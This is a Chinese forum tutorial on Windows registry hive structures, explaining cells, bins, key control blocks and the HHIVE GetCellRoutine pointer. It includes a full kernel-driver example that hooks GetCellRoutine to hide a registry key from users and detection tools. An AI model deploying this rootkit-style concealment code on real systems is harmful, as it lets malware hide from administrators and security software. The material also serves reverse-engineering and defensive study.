呵呵,今天是我女儿的生日,写篇文章,留作纪念。闲话少说,转入正题。
注册表是Windows系统存储关于计算机配置信息的数据库,包括了系统运行时需要调用的运行方式的设置,是系统的核心。操作系统是用特殊的文件 (Hive文件)来存储注册表的内容,并提供给用户相关的编程接口(APIs)来进行注册表的操作,例如Advapi32.dll中的Registry Functions(如:RegEnumKey)。在Windows操作系统中,函数的调用有着极其规范的层次结构,如下图所示是系统实现 RegEnumKey函数的调用体系。
注册表隐藏就是将系统呈现给用户的注册表信息进行修改,使得用户或检测工具无法直观地发现事实上存在的注册表内容。目前的注册表隐藏,大都采用的是Hook技术。根据它们不同的运行环境和模式,把常见的注册表隐藏技术称为用户态下注册表隐藏技术和核心态下注册表隐藏技术。它们通常是利用IAT Hook, Inline Hook、远程线程注入、SSDT Hook等方式来实现。网上比较多见的核心态隐藏技术是ssdt hook NtEnumerateKey 和inline hook CmEnumerateKey。然而这些方法已经很容易被防御体系发现。
本文是通过修改hive内存结构中的特殊指针hook实现注册表项的隐藏。关于hive文件结构,论坛中曾经有两人写过相关的文章,一篇是炉子大牛写的《HIVE格式解析 》,另一篇是HSQ大牛写的《注册表监控弱点演示程序 v0.2 逆向ASM源码及相关资料 》,另外,Petter Nordahl-Hagen写过一个hive文件存取库,我整理了下,也附在本篇文章之后,方便大家查阅。
相信看过网上这几篇的朋友一定还有些疑虑,到底注册表的工作原理是怎样的呢?我们今天通过一个驱动代码来揭开它神秘的面纱。
在磁盘上,注册表并不是简单的一个大文件,而是一组称为hive的单独文件。每个hive文件包含了一颗注册表树。有一个键作为该树的根。子键和他们的值存储在根的下面。当配置管理器(注册表的执行体子系统)加载hive的时候,会在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Control\hivelist子键下的注册表值中记录下每个hive的路径。下面是我本机注册表hivelist子键导出的信息:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist]
"\\REGISTRY\\MACHINE\\HARDWARE"=""
"\\REGISTRY\\MACHINE\\SECURITY"="\\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\SECURITY"
"\\REGISTRY\\MACHINE\\SOFTWARE"="\\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\SOFTWARE"
"\\REGISTRY\\MACHINE\\SYSTEM"="\\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\SYSTEM"
"\\REGISTRY\\USER\\.DEFAULT"="\\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\DEFAULT"
"\\REGISTRY\\MACHINE\\SAM"="\\Device\\HarddiskVolume1\\WINDOWS\\system32\\config\\SAM"
"\\REGISTRY\\USER\\S-1-5-20"="\\Device\\HarddiskVolume1\\Documents and Settings\\NetworkService\\NTUSER.DAT"
"\\REGISTRY\\USER\\S-1-5-20_Classes"="\\Device\\HarddiskVolume1\\Documents and Settings\\NetworkService\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat"
"\\REGISTRY\\USER\\S-1-5-19"="\\Device\\HarddiskVolume1\\Documents and Settings\\LocalService\\NTUSER.DAT"
"\\REGISTRY\\USER\\S-1-5-19_Classes"="\\Device\\HarddiskVolume1\\Documents and Settings\\LocalService\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat"
"\\REGISTRY\\USER\\S-1-5-21-1550111154-316279633-4274931122-1006"="\\Device\\HarddiskVolume1\\Documents and Settings\\Jason\\NTUSER.DAT"
"\\REGISTRY\\USER\\S-1-5-21-1550111154-316279633-4274931122-1006_Classes"="\\Device\\HarddiskVolume1\\Documents and Settings\\Jason\\Local Settings\\Application Data\\Microsoft\\Windows\\UsrClass.dat"
通过这个信息我们看到,在C:\WINDOWS\system32\config目录中存储着HKLM所有项的hive文件以及一个HKU的DEFAULT hive文件,其他的HKU下的hive文件存储在c:\Documents and Settings等子目录下。在hivelist记录的这些信息中,我们看到hive文件只能加载到HKLM和HKU下。如图:
配置管理器从逻辑上将一个hive分成一些称为block的分配单元。如图:
其方式类似于文件系统将一个磁盘分成簇。根据定义,注册表block的大小为4096字节(4kb)。当新的数据要扩展一个hive时,该hive总是按照 block的粒度来增加。hive的第一个block称为base block. 里面包含了一些全局信息,包括一个特征签名regf、更新的序列号,时间戳,hive格式版本号、校验和以及该hive的内部文件名(如:\Device \HarddiskVolume1\WINDOWS\system32\config\SECURITY)。
结构如下:
lkd> dt _hbase_block
nt!_HBASE_BLOCK
+0x000 Signature : Uint4B
+0x004 Sequence1 : Uint4B
+0x008 Sequence2 : Uint4B
+0x00c TimeStamp : _LARGE_INTEGER
+0x014 Major : Uint4B
+0x018 Minor : Uint4B
+0x01c Type : Uint4B
+0x020 Format : Uint4B
+0x024 RootCell : Uint4B
+0x028 Length : Uint4B
+0x02c Cluster : Uint4B
+0x030 FileName : [64] UChar
+0x070 Reserved1 : [99] Uint4B
+0x1fc CheckSum : Uint4B
+0x200 Reserved2 : [894] Uint4B
+0xff8 BootType : Uint4B
+0xffc BootRecover : Uint4B
windows将一个hive所存储的注册表数据组织在一种称为cell的容器中。一个cell可以容纳一个键、一个值、一个安全描述符、一列子键或者一列键值。其对应的结构如下:
typedef struct _CELL_DATA
{
union _u
{
CM_KEY_NODE KeyNode;
CM_KEY_VALUE KeyValue;
CM_KEY_SECURITY KeySecurity; // Variable security descriptor length
CM_KEY_INDEX KeyIndex; // Variable sized structure
CM_BIG_DATA ValueData; // This is only for big cells; a list of cells
// all of the length CM_KEY_VALUE_BIG
HCELL_INDEX KeyList[1]; // Variable sized array
WCHAR KeyString[1]; // Variable sized array
} u;
} CELL_DATA, *PCELL_DATA;
该结构中嵌套了一个联合体,用于代表cell可以存放的不同类型的数据。
下面给出CELL_DATA可以存放的几种不同类型的cell结构:
lkd> DT _CM_KEY_NODE
nt!_CM_KEY_NODE
+0x000 Signature : Uint2B
+0x002 Flags : Uint2B
+0x004 LastWriteTime : _LARGE_INTEGER
+0x00c Spare : Uint4B
+0x010 Parent : Uint4B
+0x014 SubKeyCounts : [2] Uint4B
+0x01c SubKeyLists : [2] Uint4B
+0x024 ValueList : _CHILD_LIST
+0x01c ChildHiveReference : _CM_KEY_REFERENCE
+0x02c Security : Uint4B
+0x030 Class : Uint4B
+0x034 MaxNameLen : Pos 0, 16 Bits
+0x034 UserFlags : Pos 16, 4 Bits
+0x034 VirtControlFlags : Pos 20, 4 Bits
+0x034 Debug : Pos 24, 8 Bits
+0x038 MaxClassLen : Uint4B
+0x03c MaxValueNameLen : Uint4B
+0x040 MaxValueDataLen : Uint4B
+0x044 WorkVar : Uint4B
+0x048 NameLength : Uint2B
+0x04a ClassLength : Uint2B
+0x04c Name : [1] Uint2B
lkd> DT _CM_KEY_VALUE
nt!_CM_KEY_VALUE
+0x000 Signature : Uint2B
+0x002 NameLength : Uint2B
+0x004 DataLength : Uint4B
+0x008 Data : Uint4B
+0x00c Type : Uint4B
+0x010 Flags : Uint2B
+0x012 Spare : Uint2B
+0x014 Name : [1] Uint2B
lkd> dt _CM_KEY_SECURITY
nt!_CM_KEY_SECURITY
+0x000 Signature : Uint2B
+0x002 Reserved : Uint2B
+0x004 Flink : Uint4B
+0x008 Blink : Uint4B
+0x00c ReferenceCount : Uint4B
+0x010 DescriptorLength : Uint4B
+0x014 Descriptor : _SECURITY_DESCRIPTOR_RELATIVE
lkd> dt _CM_KEY_INDEX
nt!_CM_KEY_INDEX
+0x000 Signature : Uint2B
+0x002 Count : Uint2B
+0x004 List : [1] Uint4B
lkd> dt _CM_BIG_DATA
nt!_CM_BIG_DATA
+0x000 Signature : Uint2B
+0x002 Count : Uint2B
+0x004 List : Uint4B
如果一个cell要加入一个hive,而该hive必须扩充才能装下它时,系统会创建一个 称为 bin的分配单元。该bin的范围包括了新添cell所占空间再延续到下一个block边界。系统将bin中除了cell以外的部分视为可以分配给其他cell的空闲空间。 bin的头部中包含了一个签名hbin、一个存储了bin在hive文件中偏移量的字段以及bin的大小。
typedef struct _HBIN {
ULONG Signature;
ULONG FileOffset; // Own file offset (used in checking)
ULONG Size; // Size of bin in bytes, all inclusive
ULONG Reserved1[2]; // Old FreeSpace and FreeList (from 1.0)
LARGE_INTEGER TimeStamp; // Old Link (from 1.0). Usually trash, but
// first bin has valid value used for .log
// correspondence testing, only meaningful
// on disk.
ULONG Spare; // this used to be MemAlloc. We don't use it anymore as we
// can't afford to touch the bin (it's not residing in paged-pool
// anymore, so touching it means modifying mnw pages).
// Spare is used for the ShiftFreeBins Stuff - in memory only!
//
// Cell data goes here
//
} HBIN, *PHBIN;
所以一个hive的磁盘映像看起来如下图所示。
是按照4k字节对齐的,由于其使用链表的结构,在内存中可以是不连续的。
为了处理内存中存放hive数据的地址不连续的的问题,配置管理器采取了一种类似Windows内存管理器将虚存地址映射到内存时所使用的策略。配置管理器用了一个两级系统。
如图所示,该系统以一个cell索引作为输入而后返回cell索引所在的block的内存地址以及cell所在的block的内存地址作为输出。
为了方便依据cell的索引来计算出cell的内存位置,在windows内核提供了一个计算函数。这个函数的函数指针存放在一个称为hhive的结构中。这个结构如下所示:
lkd> dt _HHIVE
nt!_HHIVE
+0x000 Signature : Uint4B
+0x004 GetCellRoutine : Ptr32 _CELL_DATA*
+0x008 ReleaseCellRoutine : Ptr32 void
+0x00c Allocate : Ptr32 void*
+0x010 Free : Ptr32 void
+0x014 FileSetSize : Ptr32 unsigned char
+0x018 FileWrite : Ptr32 unsigned char
+0x01c FileRead : Ptr32 unsigned char
+0x020 FileFlush : Ptr32 unsigned char
+0x024 BaseBlock : Ptr32 _HBASE_BLOCK
+0x028 DirtyVector : _RTL_BITMAP
+0x030 DirtyCount : Uint4B
+0x034 DirtyAlloc : Uint4B
+0x038 RealWrites : UChar
+0x03c Cluster : Uint4B
+0x040 Flat : UChar
+0x041 ReadOnly : UChar
+0x042 Log : UChar
+0x044 HiveFlags : Uint4B
+0x048 LogSize : Uint4B
+0x04c RefreshCount : Uint4B
+0x050 StorageTypeCount : Uint4B
+0x054 Version : Uint4B
+0x058 Storage : [2] _DUAL
GetCellRoutine就是计算函数,函数返回 _CELL_DATA 指针,即cell的地址。这个函数原型是
typedef struct _CELL_DATA * (*PGET_CELL_ROUTINE)(
struct _HHIVE *Hive,
HCELL_INDEX Cell
);
GetCellRoutine是保存在hhive结构中的PGET_CELL_ROUTINE类型的函数指针。参数2 HCELL_INDEX cell就是我们前面讲的cell索引。
而对于本函数的两个参数,又是怎样的得到呢?下面我们就谈谈两个重要的结构。即:
键对象(key object)和键控制块(key control block)
当一个应用程序打开或者创建一个注册表键的时候,对象管理器会给应用程序一个句柄,让它通过这个句柄来引用该键。 该句柄所代表的key object是配置管理器在对象管理器的协助下分配的。有了对象管理器的支持,配置管理器就可以利用对象管理器所提供的安全及引用计数功能了。
对于每个打开的注册表键,配置管理器还会为它分配一个key control block。一个key control block中存储了该键的完整路径名、该key control block所对应的键节点的cell索引以及一个标识用以指示在该键的最后一个句柄被关闭后,配置管理器是否要删除此key control block所对应的的key cell。Windows将所有的key control block放进一个哈希表中好用名字对存在的key control block进行快速查找。一个key object指向一个与它相关的key control block,因此,如果有两个应用程序打开同一个注册表键,这两个程序各会获得一个key object,而这两个key object都会指向同一个key control block。
我们先看看key object的结构:
lkd> DT _cm_key_body
nt!_CM_KEY_BODY
+0x000 Type : Uint4B
+0x004 KeyControlBlock : Ptr32 _CM_KEY_CONTROL_BLOCK
+0x008 NotifyBlock : Ptr32 _CM_NOTIFY_BLOCK
+0x00c ProcessID : Ptr32 Void
+0x010 Callers : Uint4B
+0x014 CallerAddress : [10] Ptr32 Void
+0x03c KeyBodyList : _LIST_ENTRY
在该结构中有一项KeyControlBlock ,就是配置管理其分配的key control block。我们看下这个结构:
lkd> dt _CM_KEY_CONTROL_BLOCK
nt!_CM_KEY_CONTROL_BLOCK
+0x000 RefCount : Uint2B
+0x004 ExtFlags : Pos 0, 8 Bits
+0x004 PrivateAlloc : Pos 8, 1 Bit
+0x004 Delete : Pos 9, 1 Bit
+0x004 DelayedCloseIndex : Pos 10, 12 Bits
+0x004 TotalLevels : Pos 22, 10 Bits
+0x008 KeyHash : _CM_KEY_HASH
+0x008 ConvKey : Uint4B
+0x00c NextHash : Ptr32 _CM_KEY_HASH
+0x010 KeyHive : Ptr32 _HHIVE
+0x014 KeyCell : Uint4B
+0x018 ParentKcb : Ptr32 _CM_KEY_CONTROL_BLOCK
+0x01c NameBlock : Ptr32 _CM_NAME_CONTROL_BLOCK
+0x020 CachedSecurity : Ptr32 _CM_KEY_SECURITY_CACHE
+0x024 ValueCache : _CACHED_CHILD_LIST
+0x02c IndexHint : Ptr32 _CM_INDEX_HINT_BLOCK
+0x02c HashKey : Uint4B
+0x02c SubKeyCount : Uint4B
+0x030 KeyBodyListHead : _LIST_ENTRY
+0x030 FreeListEntry : _LIST_ENTRY
+0x038 KcbLastWriteTime : _LARGE_INTEGER
+0x040 KcbMaxNameLen : Uint2B
+0x042 KcbMaxValueNameLen : Uint2B
+0x044 KcbMaxValueDataLen : Uint4B
+0x048 KcbUserFlags : Pos 0, 4 Bits
+0x048 KcbVirtControlFlags : Pos 4, 4 Bits
+0x048 KcbDebug : Pos 8, 8 Bits
+0x048 Flags : Pos 16, 16 Bits
在其中有两个重要的项
+0x014 KeyCell : Uint4B 就是我们要隐藏的注册表项对应的cell索引。
+0x010 KeyHive : Ptr32 _HHIVE 就是我们前面刚刚讲过的HHIVE结构指针。
注册表隐藏的步骤如下:
1。 打开指定名字的注册表键,获取其hkey. 例如:
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx\n", status);
return NULL;
}
return hKey;
}
2. 根据得到的hkey句柄,得到其内核对象key object,并从key object中获取键控制块(key control block). 例如:
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
return NULL;
}
// 对象体中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx\n", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
3. 从KCB中获取前面讲过的两个重要项。
+0x014 KeyCell : Uint4B 就是我们要隐藏的注册表项对应的cell索引。
+0x010 KeyHive : Ptr32 _HHIVE 就是我们前面刚刚讲过的HHIVE结构指针。
4。在hhive结构中获取GetCellRoutine就是计算函数,可以根据cell索引计算出cell的内存地址。
5。hook GetCellRoutine,判断如果返回的cell内存地址 等于上面计算出的隐藏的CELL地址。则让其
返回NULL.
这就是要隐藏的5个步骤。
例子:这个例子是网上的,已经不清楚是哪位大侠的杰作了。在此表示感谢。
#include <ntddk.h>
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl
// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2]; // Stable and Volatile
HANDLE SubKeyLists[2]; // Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx\n", status);
return NULL;
}
return hKey;
}
// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
return NULL;
}
// 对象体中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx\n", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
// 如果为根(二级)索引,获取最后一个索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx\n", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]); // CM_INDEX 大小是HCELL_INDEX大小的2倍。
}
else
{
// 一般叶索引,返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lx\n", g_LastNode);
// 隐藏的正是最后一个节点,返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 清空保存值,并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint("DriverUnload()\n");
// 解除挂钩
if (g_ppGetCellRoutine)
*g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
ULONG KeyCellOffset; // KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint("DriverEntry()\n");
pDrvObj->DriverUnload = DriverUnload;
// 查询BuildNumber
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL))
return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %d\n", BuildNumber);
// KeyControlBlock结构各版本略有不同
// Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
switch (BuildNumber)
{
case 2195: // Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600: // WinXP
case 3790: // Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
// 打开需隐藏的键
hKey = OpenKeyByName(g_HideKeyName);
// 获取该键的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中,保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
// 获取需隐藏的节点并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 挂钩GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}
注意:
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
// 如果为根(二级)索引,获取最后一个索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx\n", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
// 一般叶索引,返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
函数中:
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
为什么return g_pGetCellRoutine(Hive, Index->List[ 2*(Index->Count-1)]); 中要乘2呢?
原因如下:
typedef ULONG HCELL_INDEX;
typedef HCELL_INDEX *PHCELL_INDEX;
typedef struct _CM_INDEX {
HCELL_INDEX Cell;
union {
UCHAR NameHint[4]; // upcased first four chars of name
ULONG HashKey; // hash key of name
};
} CM_INDEX, *PCM_INDEX;
比较CM_INDEX和HCELL_INDEX大小,他们正好是2倍的关系。
在Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF时,其对应的结构是:
typedef struct _CM_KEY_FAST_INDEX {
USHORT Signature; // also type selector
USHORT Count;
CM_INDEX List[1]; // Variable sized array
} CM_KEY_FAST_INDEX, *PCM_KEY_FAST_INDEX;
而其他时候对应的结构是下面的。
typedef struct _CM_KEY_INDEX {
USHORT Signature; // also type selector
USHORT Count;
HCELL_INDEX List[1]; // Variable sized array
} CM_KEY_INDEX, *PCM_KEY_INDEX;
通过上面比较可以看出,在CM_KEY_FAST_LEAF和CM_KEY_HASH_LEAF这两种情况下,这里使用的是CM_INDEX索引。因此需要*2。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: